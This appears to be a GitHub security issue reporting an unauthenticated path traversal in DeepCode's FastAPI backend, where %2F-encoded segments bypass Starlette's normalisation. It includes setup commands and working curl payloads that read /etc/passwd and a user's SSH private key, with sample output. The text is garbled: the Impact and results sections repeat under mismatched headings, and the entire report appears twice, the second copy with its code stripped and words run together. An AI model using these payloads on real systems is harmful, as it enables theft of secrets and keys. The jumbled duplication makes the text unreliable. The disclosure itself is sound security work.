Do you need to file an issue?
Describe the bug
Summary
A path traversal vulnerability exists in DeepCode's production backend server (new_ui/backend/main.py). When running in Docker/production mode (DEEPCODE_ENV=docker), the FastAPI application registers a catch-all SPA route GET /{full_path:path} that serves files from FRONTEND_DIST / full_path with no is_relative_to containment check. Starlette normalises literal ../ segments in URL paths, but %2F-encoded slashes and %2E%2E-encoded dots bypass this normalisation: the path parameter is decoded after routing, so the joined path can traverse arbitrarily outside FRONTEND_DIST. An attacker with network access to the server can read any file the DeepCode process has permission to access — SSH private keys, application secrets, and system files — with a single unauthenticated HTTP request.
Confirmed on commit c991dc22e67958a031f2e20595128a6a5fbd8f3d (latest main, 2026-02-09), run in production mode.
Details
The vulnerable code is in new_ui/backend/main.py, inside the IS_DOCKER branch, lines 128–135:
FRONTEND_DIST = NEW_UI_DIR / "frontend" / "dist"
IS_DOCKER = os.environ.get("DEEPCODE_ENV") == "docker"
if IS_DOCKER:
# ...
@app.get("/{full_path:path}")
async def serve_spa(request: Request, full_path: str):
"""Serve frontend SPA - fallback to index.html for client-side routing"""
file_path = FRONTEND_DIST / full_path # ← no containment check
if full_path and file_path.exists() and file_path.is_file():
return FileResponse(file_path)
return FileResponse(FRONTEND_DIST / "index.html")
FRONTEND_DIST / full_path joins the caller-supplied full_path directly onto the static files base directory. Python's pathlib does not strip .. segments at join time — only .resolve() does. Starlette strips literal ../ from URL paths during routing, but decodes percent-encoded characters inside matched path parameter values. Because %2F decodes to / and %2E%2E decodes to .. after the router has matched the route, the value reaching full_path can contain directory traversal sequences. The code then calls file_path.exists() on the un-resolved joined path, which the OS resolves by following .. components, successfully locating files outside FRONTEND_DIST.
For a typical Docker deployment the path to FRONTEND_DIST is deep enough that multiple traversal levels are needed, but the correct depth is trivially determined from the project layout and is constant across deployments.
Steps to reproduce
Proof of Concept
Step 1 — Start DeepCode in production mode
git clone https://github.com/HKUDS/DeepCode.git
cd DeepCode
pip install fastapi uvicorn pydantic-settings pyyaml
# Create required directories
mkdir -p new_ui/frontend/dist/assets
echo "<html><body>DeepCode</body></html>" > new_ui/frontend/dist/index.html
touch mcp_agent.config.yaml mcp_agent.secrets.yaml
# Start in Docker/production mode
DEEPCODE_ENV=docker python3 new_ui/backend/main.py
Expected output:
Starting DeepCode New UI Backend...
Mode: Docker/Production
Frontend: Serving static files from .../new_ui/frontend/dist
INFO: Uvicorn running on http://0.0.0.0:8000
Step 2 — Exploit
# Literal ../ is blocked by Starlette path normalisation
curl "http://127.0.0.1:8000/../../etc/passwd"
# → returns index.html (traversal stripped)
# %2F-encoded slashes bypass normalisation → arbitrary file read
curl "http://127.0.0.1:8000/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fprivate%2Fetc%2Fpasswd"
# → ## User Database
# root:*:0:0:System Administrator:/var/root:/bin/sh ...
# Read SSH private key
curl "http://127.0.0.1:8000/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FUsers%2F$(whoami)%2F.ssh%2Fid_rsa"
# → -----BEGIN OPENSSH PRIVATE KEY-----
# b3BlbnNzaC1rZXktdjEAAAA...
The number of ../ levels required equals the depth of FRONTEND_DIST from the filesystem root, which is fixed by the project structure.
Confirmed results (commit c991dc2, tested 2026-04-29)
| Request |
HTTP |
Content |
GET /index.html |
200 |
Legitimate SPA file |
GET /../../etc/passwd (literal) |
200 |
Fallback index.html — traversal blocked |
GET /..%2F×10/private%2Fetc%2Fpasswd |
200 |
Full /etc/passwd |
GET /..%2F×10/Users/…/.ssh/id_rsa |
200 |
RSA private key (BEGIN OPENSSH PRIVATE KEY) |
Impact
DeepCode is designed to run as a server (DEEPCODE_ENV=docker) accessible to users via a browser frontend. In that deployment, any client that can reach port 8000 and knows the correct traversal depth can read any file the DeepCode process has permission to access:
- SSH private keys and TLS certificates
- Application secrets (
.env, mcp_agent.secrets.yaml, API keys)
- System files (
/etc/passwd, /etc/shadow on Linux)
- Source code, configs, and any file in parent directories of the project
There is no authentication layer on the static file serving path. The endpoint is reachable without credentials.
Expected Behavior
Confirmed results (commit c991dc2, tested 2026-04-29)
| Request |
HTTP |
Content |
GET /index.html |
200 |
Legitimate SPA file |
GET /../../etc/passwd (literal) |
200 |
Fallback index.html — traversal blocked |
GET /..%2F×10/private%2Fetc%2Fpasswd |
200 |
Full /etc/passwd |
GET /..%2F×10/Users/…/.ssh/id_rsa |
200 |
RSA private key (BEGIN OPENSSH PRIVATE KEY) |
Impact
DeepCode is designed to run as a server (DEEPCODE_ENV=docker) accessible to users via a browser frontend. In that deployment, any client that can reach port 8000 and knows the correct traversal depth can read any file the DeepCode process has permission to access:
- SSH private keys and TLS certificates
- Application secrets (
.env, mcp_agent.secrets.yaml, API keys)
- System files (
/etc/passwd, /etc/shadow on Linux)
- Source code, configs, and any file in parent directories of the project
There is no authentication layer on the static file serving path. The endpoint is reachable without credentials.
DeepCode Config Used
Impact
DeepCode is designed to run as a server (DEEPCODE_ENV=docker) accessible to users via a browser frontend. In that deployment, any client that can reach port 8000 and knows the correct traversal depth can read any file the DeepCode process has permission to access:
- SSH private keys and TLS certificates
- Application secrets (
.env, mcp_agent.secrets.yaml, API keys)
- System files (
/etc/passwd, /etc/shadow on Linux)
- Source code, configs, and any file in parent directories of the project
There is no authentication layer on the static file serving path. The endpoint is reachable without credentials.
Logs and screenshots
Confirmed results (commit c991dc2, tested 2026-04-29)
| Request |
HTTP |
Content |
GET /index.html |
200 |
Legitimate SPA file |
GET /../../etc/passwd (literal) |
200 |
Fallback index.html — traversal blocked |
GET /..%2F×10/private%2Fetc%2Fpasswd |
200 |
Full /etc/passwd |
GET /..%2F×10/Users/…/.ssh/id_rsa |
200 |
RSA private key (BEGIN OPENSSH PRIVATE KEY) |
Additional Information
Do you need to file an issue?
Describe the bug
Summary
A path traversal vulnerability exists in DeepCode's production backend server (
new_ui/backend/main.py). When running in Docker/production mode (DEEPCODE_ENV=docker), the FastAPI application registers a catch-all SPA routeGET /{full_path:path}that serves files fromFRONTEND_DIST / full_pathwith nois_relative_tocontainment check. Starlette normalises literal../segments in URL paths, but%2F-encoded slashes and%2E%2E-encoded dots bypass this normalisation: the path parameter is decoded after routing, so the joined path can traverse arbitrarily outsideFRONTEND_DIST. An attacker with network access to the server can read any file the DeepCode process has permission to access — SSH private keys, application secrets, and system files — with a single unauthenticated HTTP request.Confirmed on commit
c991dc22e67958a031f2e20595128a6a5fbd8f3d(latestmain, 2026-02-09), run in production mode.Details
The vulnerable code is in
new_ui/backend/main.py, inside theIS_DOCKERbranch, lines 128–135:FRONTEND_DIST / full_pathjoins the caller-suppliedfull_pathdirectly onto the static files base directory. Python'spathlibdoes not strip..segments at join time — only.resolve()does. Starlette strips literal../from URL paths during routing, but decodes percent-encoded characters inside matched path parameter values. Because%2Fdecodes to/and%2E%2Edecodes to..after the router has matched the route, the value reachingfull_pathcan contain directory traversal sequences. The code then callsfile_path.exists()on the un-resolved joined path, which the OS resolves by following..components, successfully locating files outsideFRONTEND_DIST.For a typical Docker deployment the path to
FRONTEND_DISTis deep enough that multiple traversal levels are needed, but the correct depth is trivially determined from the project layout and is constant across deployments.Steps to reproduce
Proof of Concept
Step 1 — Start DeepCode in production mode
Expected output:
Step 2 — Exploit
The number of
../levels required equals the depth ofFRONTEND_DISTfrom the filesystem root, which is fixed by the project structure.Confirmed results (commit c991dc2, tested 2026-04-29)
GET /index.htmlGET /../../etc/passwd(literal)GET /..%2F×10/private%2Fetc%2Fpasswd/etc/passwdGET /..%2F×10/Users/…/.ssh/id_rsaBEGIN OPENSSH PRIVATE KEY)Impact
DeepCode is designed to run as a server (
DEEPCODE_ENV=docker) accessible to users via a browser frontend. In that deployment, any client that can reach port 8000 and knows the correct traversal depth can read any file the DeepCode process has permission to access:.env,mcp_agent.secrets.yaml, API keys)/etc/passwd,/etc/shadowon Linux)There is no authentication layer on the static file serving path. The endpoint is reachable without credentials.
Expected Behavior
Confirmed results (commit c991dc2, tested 2026-04-29)
GET /index.htmlGET /../../etc/passwd(literal)GET /..%2F×10/private%2Fetc%2Fpasswd/etc/passwdGET /..%2F×10/Users/…/.ssh/id_rsaBEGIN OPENSSH PRIVATE KEY)Impact
DeepCode is designed to run as a server (
DEEPCODE_ENV=docker) accessible to users via a browser frontend. In that deployment, any client that can reach port 8000 and knows the correct traversal depth can read any file the DeepCode process has permission to access:.env,mcp_agent.secrets.yaml, API keys)/etc/passwd,/etc/shadowon Linux)There is no authentication layer on the static file serving path. The endpoint is reachable without credentials.
DeepCode Config Used
Impact
DeepCode is designed to run as a server (
DEEPCODE_ENV=docker) accessible to users via a browser frontend. In that deployment, any client that can reach port 8000 and knows the correct traversal depth can read any file the DeepCode process has permission to access:.env,mcp_agent.secrets.yaml, API keys)/etc/passwd,/etc/shadowon Linux)There is no authentication layer on the static file serving path. The endpoint is reachable without credentials.
Logs and screenshots
Confirmed results (commit c991dc2, tested 2026-04-29)
GET /index.htmlGET /../../etc/passwd(literal)GET /..%2F×10/private%2Fetc%2Fpasswd/etc/passwdGET /..%2F×10/Users/…/.ssh/id_rsaBEGIN OPENSSH PRIVATE KEY)Additional Information